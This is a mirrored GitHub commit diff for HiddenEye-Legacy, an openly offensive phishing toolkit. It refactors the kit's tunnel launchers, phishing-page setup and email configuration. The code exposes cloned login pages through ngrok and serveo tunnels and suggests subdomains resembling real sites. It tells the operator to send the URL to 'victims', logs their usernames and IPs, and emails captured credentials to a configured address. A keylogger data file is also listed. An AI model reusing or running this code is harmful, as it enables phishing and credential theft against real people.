mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Merge pull request #666 from DarkSecDevelopers/master
Updated Dev branch
This commit is contained in:
commit
4839f5ba25
4
.config/ngrok.yml
Normal file
4
.config/ngrok.yml
Normal file
|
@ -0,0 +1,4 @@
|
|||
console_ui: false
|
||||
update: true
|
||||
log_level: info
|
||||
log_format: term
|
1
.gitattributes
vendored
Normal file
1
.gitattributes
vendored
Normal file
|
@ -0,0 +1 @@
|
|||
WebPages/* linguist-detectable=false
|
15
.github/ISSUE_TEMPLATE/bug_report.md
vendored
15
.github/ISSUE_TEMPLATE/bug_report.md
vendored
|
@ -1,8 +1,8 @@
|
|||
---
|
||||
name: Bug report
|
||||
about: Create a report to help us improve
|
||||
title: ''
|
||||
labels: ''
|
||||
title: "[BUG]"
|
||||
labels: not-confirmed
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
@ -23,16 +23,11 @@ A clear and concise description of what you expected to happen.
|
|||
**Screenshots**
|
||||
If applicable, add screenshots to help explain your problem.
|
||||
|
||||
**Desktop (please complete the following information):**
|
||||
**Device (please complete the following information):**
|
||||
- OS: [e.g. iOS]
|
||||
- Browser [e.g. chrome, safari]
|
||||
- Version [e.g. 22]
|
||||
- Python [e.g. 3.6.1]
|
||||
- HiddenEye Version [e.g. 1.0.22]
|
||||
|
||||
**Smartphone (please complete the following information):**
|
||||
- Device: [e.g. iPhone6]
|
||||
- OS: [e.g. iOS8.1]
|
||||
- Browser [e.g. stock browser, safari]
|
||||
- Version [e.g. 22]
|
||||
|
||||
**Additional context**
|
||||
Add any other context about the problem here.
|
||||
|
|
21
.gitignore
vendored
21
.gitignore
vendored
|
@ -1,17 +1,4 @@
|
|||
|
||||
Defs/__pycache__/
|
||||
|
||||
Defs/ActionManager/__pycache__/
|
||||
|
||||
Defs/ActionManager/Server/__pycache__/
|
||||
|
||||
Defs/FeatureManager/__pycache__/
|
||||
|
||||
Defs/FeatureManager/EmailManager/__pycache__/
|
||||
|
||||
Defs/ImportManager/__pycache__/
|
||||
|
||||
Defs/ThemeManager/__pycache__/
|
||||
*.pyc
|
||||
|
||||
*.deb
|
||||
|
||||
|
@ -33,10 +20,6 @@ Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt
|
|||
|
||||
Server/CapturedData/KeyloggerData.txt
|
||||
|
||||
Defs/LocalizationManager/__pycache__/
|
||||
|
||||
Defs/LocalizationManager/lang_action_manager/__pycache__/
|
||||
|
||||
eula.txt
|
||||
|
||||
Defs/LocalizationManager/lang_action_manager/lang_server/__pycache__/
|
||||
Server/www/
|
||||
|
|
|
@ -1,65 +0,0 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
import Defs.ThemeManager.theme as theme
|
||||
import Defs.ActionManager.Server.server_runner as server_runner
|
||||
import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_menu as localization
|
||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||
import Defs.ActionManager.main_runner as main_runner
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
def server_selection(port): # Question where user must select server
|
||||
run_command('clear')
|
||||
#print('''
|
||||
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------\n
|
||||
|
||||
# )
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(localization.lang_server_selection["server_selection"])
|
||||
print(localization.lang_server_selection["select_any_available_server"])
|
||||
main_runner.print_sorted_as_menu(localization.lang_server_selection["servers_list"])
|
||||
choice = input(global_localization.input_line)
|
||||
choice = choice.zfill(2)
|
||||
if choice == '00':
|
||||
run_command('clear')
|
||||
server_runner.start_localhost(port) #FIXED
|
||||
elif choice == '01':
|
||||
run_command('clear')
|
||||
server_runner.start_ngrok(port) # FIXED
|
||||
elif choice == '02':
|
||||
run_command('clear')
|
||||
server_runner.start_serveo(port) # ALMOST FIXED
|
||||
elif choice == '03':
|
||||
run_command('clear')
|
||||
server_runner.start_localxpose(port) # DOESN'T GET ENTERED CREDENTIALS BACK
|
||||
elif choice == '04':
|
||||
run_command('clear')
|
||||
server_runner.start_localtunnel(port, True)
|
||||
elif choice == '05':
|
||||
run_command('clear')
|
||||
server_runner.start_openport(port)
|
||||
elif choice == '06':
|
||||
run_command('clear')
|
||||
server_runner.start_pagekite(port)
|
||||
else:
|
||||
run_command('clear')
|
||||
return server_selection(port)
|
|
@ -7,18 +7,66 @@
|
|||
|
||||
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command, run_background_command, wait, ngrok, requests, \
|
||||
regular_expression, check_output, CalledProcessError, chdir, chmod, DEVNULL, PIPE
|
||||
regular_expression, check_output, CalledProcessError, chdir, chmod, DEVNULL, PIPE, path
|
||||
import Defs.ThemeManager.theme as theme
|
||||
import Defs.ActionManager.Server.server_menu as server_menu
|
||||
import Defs.ActionManager.simple_informant as simple_informant
|
||||
import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_runner as localization
|
||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||
import Defs.ActionManager.main_runner as main_runner
|
||||
from Defs.LocalizationManager.helper import print_sorted_as_menu
|
||||
import os
|
||||
|
||||
default_palette = theme.default_palette
|
||||
try:
|
||||
os.mkdir("Server/www")
|
||||
except FileExistsError:
|
||||
pass
|
||||
enter_server_www = chdir("Server/www")
|
||||
exit_server_www = chdir("../..")
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
def server_selection(port): # Question where user must select server
|
||||
run_command('clear')
|
||||
# print('''
|
||||
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------\n
|
||||
|
||||
# )
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(localization.lang_server_selection["server_selection"])
|
||||
print(localization.lang_server_selection["select_any_available_server"])
|
||||
print_sorted_as_menu(localization.lang_server_selection["servers_list"])
|
||||
choice = input(global_localization.input_line)
|
||||
choice = choice.zfill(2)
|
||||
if choice == '00':
|
||||
run_command('clear')
|
||||
start_localhost(port) # FIXED
|
||||
elif choice == '01':
|
||||
run_command('clear')
|
||||
start_ngrok(port) # FIXED
|
||||
elif choice == '02':
|
||||
run_command('clear')
|
||||
start_serveo(port) # ALMOST FIXED
|
||||
elif choice == '03':
|
||||
run_command('clear')
|
||||
start_localxpose(port) # DOESN'T GET ENTERED CREDENTIALS BACK
|
||||
elif choice == '04':
|
||||
run_command('clear')
|
||||
start_localtunnel(port, True)
|
||||
elif choice == '05':
|
||||
run_command('clear')
|
||||
start_openport(port)
|
||||
elif choice == '06':
|
||||
run_command('clear')
|
||||
start_pagekite(port)
|
||||
else:
|
||||
run_command('clear')
|
||||
return server_selection(port)
|
||||
|
||||
|
||||
def set_php(host='127.0.0.1', port=80):
|
||||
run_command(['killall', '-2', 'php'], stdout=DEVNULL, stderr=DEVNULL)
|
||||
|
@ -27,14 +75,17 @@ def set_php(host='127.0.0.1', port=80):
|
|||
|
||||
|
||||
def set_port(port=80):
|
||||
run_background_command(["fuser", "-k", "{0}/tcp".format(port)], stdout=DEVNULL, stderr=DEVNULL)
|
||||
run_background_command(
|
||||
["fuser", "-k", "{0}/tcp".format(port)], stdout=DEVNULL, stderr=DEVNULL)
|
||||
|
||||
|
||||
def start_server(port=80):
|
||||
# run_command(["fuser", "-k", "{0}/tcp".format(port), ">", "/dev/null", "2>&1"**/])
|
||||
# run_command(["fuser", "-k", "{0}/tcp".format(port), ">", "/dev/null",
|
||||
# "2>&1"**/])
|
||||
set_port(port)
|
||||
# enter_server_www
|
||||
# run_command(["php", "-S", "127.0.0.1:{0}".format(port), ">", "/dev/null", "2>&1", "&"])
|
||||
# run_command(["php", "-S", "127.0.0.1:{0}".format(port), ">",
|
||||
# "/dev/null", "2>&1", "&"])
|
||||
set_php(port=port)
|
||||
# exit_server_www
|
||||
|
||||
|
@ -49,7 +100,10 @@ def start_localhost(port):
|
|||
# {0}** BY:DARKSEC ** \n\n-------------------------------
|
||||
|
||||
# '')
|
||||
simple_informant.global_message()
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_localhost["localhost_server"])
|
||||
host = "127.0.0.1"
|
||||
print(localization.lang_start_localhost["your_localhost_is"] + host)
|
||||
|
@ -58,7 +112,8 @@ def start_localhost(port):
|
|||
# && php -S {0}:{1} > /dev/null 2>&1 &".format(host, port))
|
||||
enter_server_www
|
||||
set_php(host, port)
|
||||
print(localization.lang_start_localhost["starting_server_on_addr"] + "{0}:{1}".format(host, port))
|
||||
print(localization.lang_start_localhost[
|
||||
"starting_server_on_addr"] + "{0}:{1}".format(host, port))
|
||||
# wait(2)
|
||||
run_command('clear')
|
||||
# print('''
|
||||
|
@ -68,16 +123,23 @@ def start_localhost(port):
|
|||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------
|
||||
# ''')
|
||||
simple_informant.global_message()
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_localhost["running_localhost_server"])
|
||||
|
||||
# print("-
|
||||
# ".format(default_palette[0], default_palette[2], default_palette[3], port, host))
|
||||
print(localization.lang_start_localhost["send_this_url_suggestion"])
|
||||
print(localization.lang_start_localhost["localhost_url"] + '{0}:{1}\n'.format(host, port))
|
||||
print(localization.lang_start_localhost[
|
||||
"localhost_url"] + '{0}:{1}\n'.format(host, port))
|
||||
|
||||
|
||||
def start_ngrok(port):
|
||||
ngrok.DEFAULT_CONFIG_PATH = ".config/ngrok.yml"
|
||||
# ngrok.set_auth_token("<NGROK_AUTH_TOKEN>") # Will be easier to input
|
||||
# later
|
||||
run_command(['killall', '-2', 'ngrok'], stdout=DEVNULL, stderr=DEVNULL)
|
||||
run_command('clear')
|
||||
# print('''
|
||||
|
@ -87,12 +149,16 @@ def start_ngrok(port):
|
|||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------
|
||||
# ''')
|
||||
simple_informant.global_message()
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_ngrok["ngrok_server"])
|
||||
# run_command(['./Server/ngrok http {0}'.format(port)], stdout=DEVNULL, stderr=DEVNULL)
|
||||
##chmod('Server', 0o777)
|
||||
##run_command(['Server/ngrok', 'http {0}'.format(port)],stdout=DEVNULL, stderr=DEVNULL)
|
||||
ngrok.connect(port)
|
||||
# chmod('Server', 0o777)
|
||||
# run_command(['Server/ngrok', 'http {0}'.format(port)],stdout=DEVNULL,
|
||||
# stderr=DEVNULL)
|
||||
ngrok.connect(port=int(port))
|
||||
# currentDirectory = os.getcwd() #DELETE
|
||||
# print(currentDirectory) #DELETE
|
||||
while True:
|
||||
|
@ -110,8 +176,10 @@ def start_ngrok(port):
|
|||
# default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
|
||||
# print("\n")
|
||||
print(localization.lang_start_ngrok["send_this_url_suggestion"])
|
||||
print(localization.lang_start_localhost["localhost_url"] + '127.0.0.1:' + port)
|
||||
print(localization.lang_start_ngrok["ngrok_url"] + url + default_palette[4])
|
||||
print(localization.lang_start_localhost[
|
||||
"localhost_url"] + '127.0.0.1:' + port)
|
||||
print(localization.lang_start_ngrok[
|
||||
"ngrok_url"] + url + default_palette[4])
|
||||
break
|
||||
|
||||
|
||||
|
@ -130,17 +198,23 @@ def start_serveo(port):
|
|||
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------
|
||||
#
|
||||
#
|
||||
# ''')
|
||||
simple_informant.global_message()
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_serveo["serveo_random_server"])
|
||||
|
||||
# run_command('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:%s serveo.net > link.url 2> /dev/null &' % (port))
|
||||
# run_command('ssh -o StrictHostKeyChecking=no -o
|
||||
# ServerAliveInterval=60 -R 80:localhost:%s serveo.net > link.url 2>
|
||||
# /dev/null &' % (port))
|
||||
run_command(['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-R',
|
||||
'localhost:{0}'.format(port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL)
|
||||
wait(8)
|
||||
try:
|
||||
output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
|
||||
output = check_output(
|
||||
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
|
||||
url = output.decode("utf-8")
|
||||
# print("-\n
|
||||
# \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
|
||||
|
@ -148,8 +222,10 @@ def start_serveo(port):
|
|||
# ".format(default_palette[0], default_palette[4], default_palette[3], port) + url + "{0}".format(default_palette[4]))
|
||||
# print("\n")
|
||||
print(localization.lang_start_serveo["send_this_url_suggestion"])
|
||||
print(localization.lang_start_localhost["localhost_url"] + '127.0.0.1:' + port)
|
||||
print(localization.lang_start_serveo["serveo_url"] + url + default_palette[4])
|
||||
print(localization.lang_start_localhost[
|
||||
"localhost_url"] + '127.0.0.1:' + port)
|
||||
print(localization.lang_start_serveo[
|
||||
"serveo_url"] + url + default_palette[4])
|
||||
except CalledProcessError:
|
||||
|
||||
wait(4)
|
||||
|
@ -157,7 +233,6 @@ def start_serveo(port):
|
|||
return random(port)
|
||||
|
||||
def custom(port):
|
||||
|
||||
# print('''
|
||||
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
|
@ -169,9 +244,13 @@ def start_serveo(port):
|
|||
|
||||
# \n
|
||||
# \n{0}Insert a custom subdomain for serveo'''.format(default_palette[0], default_palette[2]))
|
||||
simple_informant.global_message()
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_serveo["serveo_custom_server"])
|
||||
print(localization.lang_start_serveo["make_url_simmilar_to_real_suggestion"])
|
||||
print(localization.lang_start_serveo[
|
||||
"make_url_simmilar_to_real_suggestion"])
|
||||
print(localization.lang_start_serveo["insert_custom_subdomain"])
|
||||
|
||||
lnk = input(global_localization.input_line)
|
||||
|
@ -179,14 +258,18 @@ def start_serveo(port):
|
|||
lnk += ".serveo.net"
|
||||
else:
|
||||
pass
|
||||
# run_command('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=60 -R %s:80:localhost:%s serveo.net > link.url 2> /dev/null &' % (lnk, port))
|
||||
# run_command('ssh -o StrictHostKeyChecking=no -o
|
||||
# ServerAliveInterval=60 -o ServerAliveCountMax=60 -R
|
||||
# %s:80:localhost:%s serveo.net > link.url 2> /dev/null &' % (lnk,
|
||||
# port))
|
||||
run_command(
|
||||
['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-o', 'ServerAliveCountMax=60',
|
||||
'-R', '{0}:80:localhost:{1}'.format(lnk, port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL,
|
||||
stderr=DEVNULL)
|
||||
wait(7)
|
||||
try:
|
||||
output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
|
||||
output = check_output(
|
||||
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
|
||||
url = output.decode("utf-8")
|
||||
run_command('clear')
|
||||
# print('''
|
||||
|
@ -196,15 +279,20 @@ def start_serveo(port):
|
|||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}
|
||||
# \n-------------------------------'''.format(default_palette[0], default_palette[2]))
|
||||
simple_informant.global_message()
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_serveo["serveo_custom_server"])
|
||||
|
||||
# print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-
|
||||
# \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
|
||||
# \n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
|
||||
print(localization.lang_start_serveo["send_this_url_suggestion"])
|
||||
print(localization.lang_start_localhost["localhost_url"] + '127.0.0.1:' + port)
|
||||
print(localization.lang_start_serveo["serveo_url"] + url + default_palette[4])
|
||||
print(localization.lang_start_localhost[
|
||||
"localhost_url"] + '127.0.0.1:' + port)
|
||||
print(localization.lang_start_serveo[
|
||||
"serveo_url"] + url + default_palette[4])
|
||||
|
||||
print("\n")
|
||||
|
||||
|
@ -230,13 +318,16 @@ def start_serveo(port):
|
|||
#
|
||||
#
|
||||
# '''.format(default_palette[0], default_palette[2]))
|
||||
simple_informant.global_message()
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_serveo["serveo_url_option_selection"])
|
||||
print(localization.lang_start_serveo["serveo_phishing_warning"])
|
||||
print(localization.lang_start_serveo["choose_type_of_url"])
|
||||
|
||||
# print(" \n".format(default_palette[0], default_palette[2]))
|
||||
main_runner.print_sorted_as_menu(localization.lang_start_serveo["url_types"])
|
||||
print_sorted_as_menu(localization.lang_start_serveo["url_types"])
|
||||
choice = input(global_localization.input_line)
|
||||
run_command('clear')
|
||||
if choice == '1':
|
||||
|
@ -253,7 +344,7 @@ def start_serveo(port):
|
|||
choice = input("HiddenEye >> ")
|
||||
choice = choice.lower()
|
||||
if choice == 'y':
|
||||
return server_menu.server_selection(port)
|
||||
return server_selection(port)
|
||||
else:
|
||||
return start_serveo(port)
|
||||
|
||||
|
@ -417,7 +508,7 @@ def start_openport(port):
|
|||
print('{0}[{1}!{0}] {1}Openport Error:\n\n{2}'.format(default_palette[0], default_palette[4], output))
|
||||
input('\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)'.format(default_palette[0],
|
||||
default_palette[4]))
|
||||
server_menu.server_selection(port)
|
||||
server_selection(port)
|
||||
|
||||
urlFile = open('openport.txt', 'r')
|
||||
urltoverify = urlFile.read().strip()
|
||||
|
@ -452,12 +543,13 @@ def start_openport(port):
|
|||
print('[*] Openport not Installed correctly, Try installing it manually !!')
|
||||
print('[*] Check Here ... https://openport.io/download')
|
||||
input('\n Press Enter To Go back..')
|
||||
server_menu.server_selection(port)
|
||||
server_selection(port)
|
||||
else:
|
||||
manage_url(port)
|
||||
|
||||
|
||||
def start_pagekite(port):
|
||||
from Defs.ActionManager.simple_informant import credentials_collector
|
||||
run_command('clear')
|
||||
print('''
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|
@ -475,7 +567,7 @@ def start_pagekite(port):
|
|||
print("\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}".format(default_palette[0],
|
||||
default_palette[4]))
|
||||
wait(2)
|
||||
server_menu.server_selection(port)
|
||||
server_selection(port)
|
||||
else:
|
||||
pass
|
||||
else:
|
||||
|
@ -498,4 +590,4 @@ def start_pagekite(port):
|
|||
run_command('python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me'.format(port, subdomain))
|
||||
except KeyboardInterrupt:
|
||||
print('[!] Please Copy the Generated Link For Further Use')
|
||||
simple_informant.credentials_collector(port)
|
||||
credentials_collector(port)
|
||||
|
|
|
@ -7,22 +7,15 @@
|
|||
|
||||
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command, webpage_set, wait, path, rmtree, pathlib_Path, copyfile, chmod, mkdir, remove
|
||||
import Defs.ThemeManager.theme as theme
|
||||
import Defs.ActionManager.simple_informant as simple_informant
|
||||
import Defs.LocalizationManager.lang_action_manager.lang_main_runner as localization
|
||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||
from Defs.LocalizationManager.helper import print_sorted_as_menu
|
||||
import os
|
||||
import time
|
||||
|
||||
default_palette = theme.default_palette
|
||||
module_loading_message = simple_informant.module_loading_message
|
||||
|
||||
def print_sorted_as_menu(sorting_list):
|
||||
col_width = max(len(word) for row in sorting_list for word in row) + 2
|
||||
for row in sorting_list:
|
||||
print("".join(word.ljust(col_width) for word in row).format(default_palette[0], default_palette[2]))
|
||||
|
||||
|
||||
def start_main_menu():
|
||||
run_command('clear')
|
||||
print(global_localization.hidden_eye_logo)
|
||||
|
@ -241,10 +234,11 @@ def start_main_menu():
|
|||
|
||||
|
||||
def start_phishing_page(page, custom_option): # Phishing pages selection menu
|
||||
chmod('Server', 777)
|
||||
#chmod('Server', 777)
|
||||
run_command(['chmod', '-R', '777', 'Server'])
|
||||
rmtree("Server/www", onerror=simple_informant.remove_readonly)
|
||||
mkdir('Server/www')
|
||||
chmod('Server/www', 777)
|
||||
#chmod('Server/www', 777)
|
||||
pathlib_Path('Server/www/usernames.txt').touch()
|
||||
pathlib_Path('Server/www/ip.txt').touch()
|
||||
copyfile('WebPages/ip.php', 'Server/www/ip.php')
|
||||
|
|
|
@ -8,7 +8,7 @@
|
|||
from Defs.ImportManager.unsorted_will_be_replaced import requests, getuid, platform_os, run_command, try_to_run_command, wait, chmod, stat, pathlib_Path, copyfile, socket
|
||||
import Defs.ThemeManager.theme as theme
|
||||
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
|
||||
import Defs.ActionManager.Server.server_menu as server_menu
|
||||
import Defs.ActionManager.Server.server_runner as server_runner
|
||||
import Defs.LocalizationManager.lang_action_manager.lang_simple_informant as localization
|
||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||
|
||||
|
@ -44,7 +44,7 @@ def exit_message(port = 80): # Message when HiddenEye exit
|
|||
elif choice == 'm':
|
||||
email_prompt.captured_data_email_confirmation(port)
|
||||
elif choice == 's':
|
||||
server_menu.server_selection(port)
|
||||
server_runner.server_selection(port)
|
||||
elif choice == 'x':
|
||||
run_command('clear')
|
||||
print(global_localization.hidden_eye_logo)
|
||||
|
|
|
@ -8,7 +8,6 @@
|
|||
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command, wait, path, system, getpass, base64, copyfile
|
||||
import Defs.ThemeManager.theme as theme
|
||||
import Defs.ActionManager.simple_informant as simple_informant
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
@ -37,11 +36,12 @@ def captured_data_email_prompt():
|
|||
captured_data_email_prompt()
|
||||
|
||||
def captured_data_email_confirmation(port): # Ask user to start sending credentials to recipient Email Address.
|
||||
import Defs.ActionManager.simple_informant as simple_informant
|
||||
choice = input(
|
||||
"\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper()
|
||||
if choice == 'Y' or choice == 'y':
|
||||
if path.isfile('Defs/Send_Email/emailconfig.py') == True:
|
||||
system('python3 Defs/Send_Email/SendEmail.py')
|
||||
if path.isfile('Defs/FeatureManager/EmailManager/emailconfig.py') == True:
|
||||
system('python3 Defs/FeatureManager/EmailManager/SendEmail.py')
|
||||
else:
|
||||
print(
|
||||
'[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION.')
|
||||
|
@ -66,35 +66,35 @@ def captured_data_email_configuration_prompt():
|
|||
{1}http://github.com/darksecdevelopers
|
||||
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
|
||||
print("-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4]))
|
||||
#run_command('cp Defs/Send_Email/EmailConfigDefault.py Defs/Send_Email/emailconfig.py')
|
||||
#run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py')
|
||||
copyfile('Defs/FeatureManager/EmailManager/EmailConfigDefault.py', 'Defs/FeatureManager/EmailManager/emailconfig.py')
|
||||
GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(default_palette[0], default_palette[4]))
|
||||
with open('Defs/Send_Email/emailconfig.py') as f:
|
||||
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace('GMAILACCOUNT', GMAILACCOUNT)
|
||||
f = open('Defs/Send_Email/emailconfig.py', 'w')
|
||||
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("{0}[.] {1}Email Address Added To config File. !\n".format(default_palette[0], default_palette[4]))
|
||||
GMAILPASSWORD = getpass.getpass(
|
||||
"{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(default_palette[0], default_palette[4]))
|
||||
with open('Defs/Send_Email/emailconfig.py') as f:
|
||||
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
|
||||
read_data = f.read()
|
||||
GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode())
|
||||
GMAILPASSWORD = (GMAILPASSWORD.decode('utf-8'))
|
||||
c = read_data.replace('GMAILPASSWORD', GMAILPASSWORD)
|
||||
f = open('Defs/Send_Email/emailconfig.py', 'w')
|
||||
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(default_palette[0], default_palette[4]))
|
||||
RECIPIENTEMAIL = input(
|
||||
"{0}[{1}+{0}] Enter Recipient Email:{1} ".format(default_palette[0], default_palette[4]))
|
||||
with open('Defs/Send_Email/emailconfig.py') as f:
|
||||
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace('RECIPIENTEMAIL', RECIPIENTEMAIL)
|
||||
f = open('Defs/Send_Email/emailconfig.py', 'w')
|
||||
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("{0}[.] {1}Recipient Email Address Added To config File. !\n".format(default_palette[0], default_palette[4]))
|
||||
print(
|
||||
'\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/Send_Email/Config.py)'.format(default_palette[0], default_palette[4]))
|
||||
'\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)'.format(default_palette[0], default_palette[4]))
|
||||
|
|
16
Defs/LocalizationManager/helper.py
Normal file
16
Defs/LocalizationManager/helper.py
Normal file
|
@ -0,0 +1,16 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
|
||||
import Defs.ThemeManager.theme as theme
|
||||
default_palette = theme.default_palette
|
||||
|
||||
def print_sorted_as_menu(sorting_list):
|
||||
col_width = max(len(word) for row in sorting_list for word in row) + 2
|
||||
for row in sorting_list:
|
||||
print("".join(word.ljust(col_width) for word in row).format(default_palette[0], default_palette[2]))
|
|
@ -1,21 +0,0 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.LocalizationManager.localization import _
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
lang_server_selection = {
|
||||
"server_selection" : _('{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
